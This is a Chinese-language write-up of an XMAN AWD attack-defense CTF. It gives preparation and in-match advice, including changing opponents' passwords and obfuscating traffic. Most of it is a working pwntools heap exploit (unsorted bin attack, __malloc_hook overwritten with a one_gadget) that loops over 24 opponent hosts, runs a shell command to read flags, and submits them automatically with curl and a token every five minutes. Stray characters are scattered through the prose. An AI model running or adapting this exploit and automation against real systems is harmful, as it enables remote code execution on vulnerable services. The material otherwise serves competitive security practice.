XMAN 結(jié)營賽總結(jié)
第一次打awd線下賽丽已,有點小慌亂,什么工具腳本都沒有準備买决。因為講怎么打awd的時候我在下面打網(wǎng)鼎杯沛婴,回去又寫wp,就粗略的看了下awd的賽制是什么督赤。下面就寫下比賽后的總結(jié)
- 準備階段
- xshell 嘁灯,xtfp等連接服務器的工具,將服務器上的文件備份躲舌。
- 自動化攻擊腳本模板以及自動化交flag的模板丑婿,這次就是因為浪費了很多時間在寫自動化腳本上
這次比賽我們用的是兩個腳本,一個半自動化攻擊没卸,一個半自動化交flag虑椎,同時我寫了個linux的shell腳本工秩,將兩個腳本結(jié)合起來形成了自動化 - 準備好攪屎腳本,讓別人流量分析變得更困難(劃重點!tこ省!豪嚎!)雖然比賽時不給攪屎
- 比賽階段
- 比賽一開始就要將服務器上的東西備份好舷礼,同時將一些登陸密碼什么的都改了,我的組員就是拼了一波手速尉桩,改了別人的密碼
- 做pwn的就是逆向筒占,挖漏洞,打patch蜘犁,寫exp打全場翰苫,大概就這些工作,我的組員將pwn2打好了patch这橙,我則寫了pwn1的exp奏窑,但是patch不會打.....
我們到最后都沒寫出pwn2的exp,有點難受,格式化字符串的漏洞利用的不熟 - 剩下的就是關注下比賽的積分榜了析恋,畢竟web的不會做良哲,但是到后面我們沒事做就都跑去分析web的流量了,幫web分析漏洞助隧。
大概就這么些吧筑凫,可能寫的不是很全,下面將比賽寫的腳本貼一下
exp:
from pwn import *
#context.log_level = 'debug'
debug = 0
def leave(size,mes):
p.recv()
p.sendline('1')
p.recv()
p.sendline(str(size))
p.recv()
p.send(mes)
def delete(idx):
p.recv()
p.sendline(str('2'))
p.recv()
p.sendline(str(idx))
def show(idx):
p.recv()
p.sendline('3')
p.recv()
p.sendline(str(idx))
def getshell(n):
p.recv()
p.sendline('4')
p.recv()
p.sendline(str(n))
def expolit():
leave(0x88,'a'*0x88)
leave(0x210,'b'*0x1f0+p64(0x200)+p64(0x21)+'\n')
leave(0x80,'c'*0x80)
leave(0x80,'c'*0x80)
delete(1)
delete(0)
leave(0x88,'e'*0x88)
leave(0x100,'a'*0x100)
leave(0x80,'a'*0x80)
delete(1)
delete(2)
leave(0x100,'a'*0x100)
show(4)
p.recvuntil("Message: ")
leak = u64(p.recv(6).ljust(8,'\x00'))
print hex(leak)
main_arena = leak - 88
libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10
print "main_arena-->[%s]"%hex(main_arena)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget = libc_base + 0xf02a4
global_max_fast = libc_base + 0x3c67f8
log.info("unsorted bin attack ")
delete(1)
leave(0x2a0,'a'*0x108+p64(0xc1)+'a'*0xb8+p64(0x91)+'a'*0x88+p64(0x51)+'\n')
delete(1)
leave(0x300,'a\n')
delete(4)
leave(0x2a0,'a'*0x108+p64(0xc0)+p64(global_max_fast-0x10)+p64(global_max_fast-0x10)+'a'*0xa0+p64(0xc0)+p64(0x91)+'\n')
leave(0xb0,'a\n')
delete(4)
delete(2)
log.info("unsorted bin attack done")
leave(0x2a0,'a'*0x108+p64(0xc1)+p64(malloc_hook-0x10)+'\n')
leave(0xb0,'a\n')
delete(2)
leave(0x2a0,'a'*0x108+p64(0xf1)+'a'*0xe8+p64(0x61)+'\n')
delete(4)
delete(2)
leave(0x2a0,'a'*0x108+p64(0xf1)+p64(main_arena+0x58)+'a'*0xe0+p64(0x61)+'\n')#2
leave(0xe0,'a\n')#4
delete(2)
leave(0x2a0,'a'*0x108+p64(0xe1)+p64(main_arena+0x58)+'a'*0xd0+p64(0x71)+'\n')#2
leave(0xd0,'a\n')#5
leave(0x80,p64(one_gadget)+'\n')
delete(4)
delete(5)
p.sendline("/bin/cat flag")
data=p.readline()
data=p.readline()
f.write(data)
p.close()
def go(p):
try :
expolit()
except Exception:
p.close()
return
if __name__ == '__main__':
f=open("flags","w")
port = '20003'
#ban={1,2,4,5,7,9,17,19,21}
for x in range(1,25):
if x not in ban:
host = '172.16.{}.103'.format(str(x))
p = remote(host,port)
libc = ELF('./libc-2.23.so')
go(p)
f.close()
uploadflag:
import os
import requests
f=open("./flags","r")
while(1):
flag=f.readline()
print flag
if flag=="":
break
if len(flag)==61:
flag=flag.strip('\n')
cmd='''curl http://172.16.200.20:9000/submit_flag/ -d/ -d "flag={}&token=xkS9nxNNshMyRxT7T36naYaFRxWgJyryJKVyGyXb7TGT6yVc9BhvFMhY3DHrJV9hCUtmjMFsSHd"'''.format(flag)
os.system(cmd)
auto shell scripts:
while true; do python exp.py;python uploadflag.py; sleep 300; done